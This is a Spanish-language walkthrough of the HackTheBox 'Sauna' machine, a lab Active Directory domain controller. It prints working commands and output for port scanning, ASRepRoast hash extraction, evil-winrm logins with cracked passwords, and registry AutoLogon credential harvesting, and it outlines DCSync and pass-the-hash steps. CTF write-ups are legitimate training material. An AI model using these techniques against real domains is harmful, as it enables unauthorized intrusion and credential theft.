Sauna - HackTheBox
Buenas! Hoy completaremos la máquina Sauna de la plataforma HackTheBox, esta será la primera máquina de mi reto de 30 días de AD, donde completaré máquinas relacionadas con el Active Directory y crearé writeups para subirlos a mi web. En la máquina de hoy tocaremos los siguientes puntos:
- Information Leakage
- Kerberos User Enumeration - Kerbrute
- ASRepRoast Attack (GetNPUsers.py)
- Cracking hashes
- AutoLogon Credentials
- BloodHound - SharpHound.ps1
- DCSync Attack - SecretsDump [Privilege Escalation]
- PassTheHash
Enumeración
Enumeración de puertos
Como en todas las máquinas, comenzaremos con un escaneo de puertos con nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.175
Nmap scan report for 10.10.10.175
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
80/tcp open http syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49673/tcp open unknown syn-ack ttl 127
49674/tcp open unknown syn-ack ttl 127
49677/tcp open unknown syn-ack ttl 127
49689/tcp open unknown syn-ack ttl 127
49697/tcp open unknown syn-ack ttl 127
Ahora que tenemos los puertos abiertos, realizaremos un escaneo de puertos más exhaustivo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
❯ nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,49667,49673,49674,49676,49695,49702,49977 -sCV 10.10.10.175 -oN targeted
Nmap scan report for EGOTISTICAL-BANK.LOCAL (10.10.10.175)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Egotistical Bank :: Home
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-08-04 15:42:29Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2023-08-04T15:44:00+00:00; +7h00m00s from scanner time.
| rdp-ntlm-info:
| Target_Name: EGOTISTICALBANK
| NetBIOS_Domain_Name: EGOTISTICALBANK
| NetBIOS_Computer_Name: SAUNA
| DNS_Domain_Name: EGOTISTICAL-BANK.LOCAL
| DNS_Computer_Name: SAUNA.EGOTISTICAL-BANK.LOCAL
| DNS_Tree_Name: EGOTISTICAL-BANK.LOCAL
| Product_Version: 10.0.17763
|_ System_Time: 2023-08-04T15:43:19+00:00
| ssl-cert: Subject: commonName=SAUNA.EGOTISTICAL-BANK.LOCAL
| Not valid before: 2023-08-02T17:47:09
|_Not valid after: 2024-02-01T17:47:09
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49695/tcp open msrpc Microsoft Windows RPC
49702/tcp open msrpc Microsoft Windows RPC
49977/tcp open msrpc Microsoft Windows RPC
Enumeración web
Después de enumerar un poco la web, en el directorio about.html
se nos da información de usuarios.
Ahora con todos estos usuarios, crearemos un archivo con los nombres de usuario en formato de Active Directory
1
2
3
4
5
6
fsmith
scoins
sdriver
btaylor
hbear
skerb
Explotación
ASRepRoast
Ahora que tenemos una lista de posibles usuarios, vamos a utilizar la herramienta GetNPUsers.py
de la suite de Impacket para realizar un ataque ASRepRoast, conseguimos el hash del usuario fsmith
1
2
3
4
5
6
7
8
9
❯ GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -no-pass -usersfile users.txt
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:9f2c5d19d298c9aa344a8c306cfd57ae$4d995bdf2c65dbd6e666123355e00ff661506a2cedf55b1b50f4623984e88a2fcb438f3974ccb92fd12adb7687bfee8a23c4d85c860d2ee8f4c914170e2da39074c76d7da6a91d987c4854d3e2e5baf59b45df62e223caf1fc7d56ef3b744ea144f3affd0714ce6e37096652d5ed60d63c892aa657b0f4756fc8b7db396d8cbdc642e880a137a29f989b1bbd4ceecba3e361815233bb3327456f10661a6ce302ee472564830a0a6fc2ae6700c3912bbdfb8e86f3afd54b7ad7f98c09e6a5448b8f79c620675b48d7f4331744edbcc4e47d4147702541fdb535cf18ab0481996b5ca2d6c562e96b08a129c59c236a333cb44df5fc67971c2acdd68a976a20be86
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)ç
Ahora que tenemos el hash del usuario, vamos a crackearlo con la herramienta John
Nos conectaremos con evil-winrm
a la máquina y conseguiremos la primera flag
1
2
❯ evil-winrm -u 'fsmith' -p 'Thestrokes23' -i 10.10.10.175
*Evil-WinRM* PS C:\Users\FSmith\Documents>
Privesc fsmith -> svc_loanmgr
Autologon
Buscando credenciales de autologon, nos encontramos con el usaurio svc_loanmanager
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
*Evil-WinRM* PS HKLM:\software\microsoft\windows nt\currentversion\winlogon> get-item -path .
Hive: HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion
Name Property
---- --------
winlogon AutoRestartShell : 1
Background : 0 0 0
CachedLogonsCount : 10
DebugServerCommand : no
DefaultDomainName : EGOTISTICALBANK
DefaultUserName : EGOTISTICALBANK\svc_loanmanager
DisableBackButton : 1
EnableSIHostIntegration : 1
ForceUnlockLogon : 0
LegalNoticeCaption :
LegalNoticeText :
PasswordExpiryWarning : 5
PowerdownAfterShutdown : 0
PreCreateKnownFolders : {A520A1A4-1780-4FF6-BD18-167343C5AF16}
ReportBootOk : 1
Shell : explorer.exe
ShellCritical : 0
ShellInfrastructure : sihost.exe
SiHostCritical : 0
SiHostReadyTimeOut : 0
SiHostRestartCountLimit : 0
SiHostRestartTimeGap : 0
Userinit : C:\Windows\system32\userinit.exe,
VMApplet : SystemPropertiesPerformance.exe /pagefile
WinStationsDisabled : 0
scremoveoption : 0
DisableCAD : 1
LastLogOffEndTimePerfCounter : 5742365237
ShutdownFlags : 19
DisableLockWorkstation : 0
DefaultPassword : Moneymakestheworldgoround!
Pero con el comando net user
no encontramos ningún usuario svc_loanmanager
, lo más parecido es svc_loanmgr
, asi que nos conectaremos con WinRM con este usuario.
1
2
❯ evil-winrm -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' -i 10.10.10.175
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents>
Escalada de privilegios
Usaremos BloodHound para enumerar este usuario, nos percatamos que tiene permisos de DCSync
DCSync
Ahora que tenemos permisos de DCSync, usaremos la herramienta secretsdump
para dumpear todos los hashes del DC
Ahora que tenemos el NTDS, podremos hacer un Pass the Hash
para conseguir una shell como nt authority\ system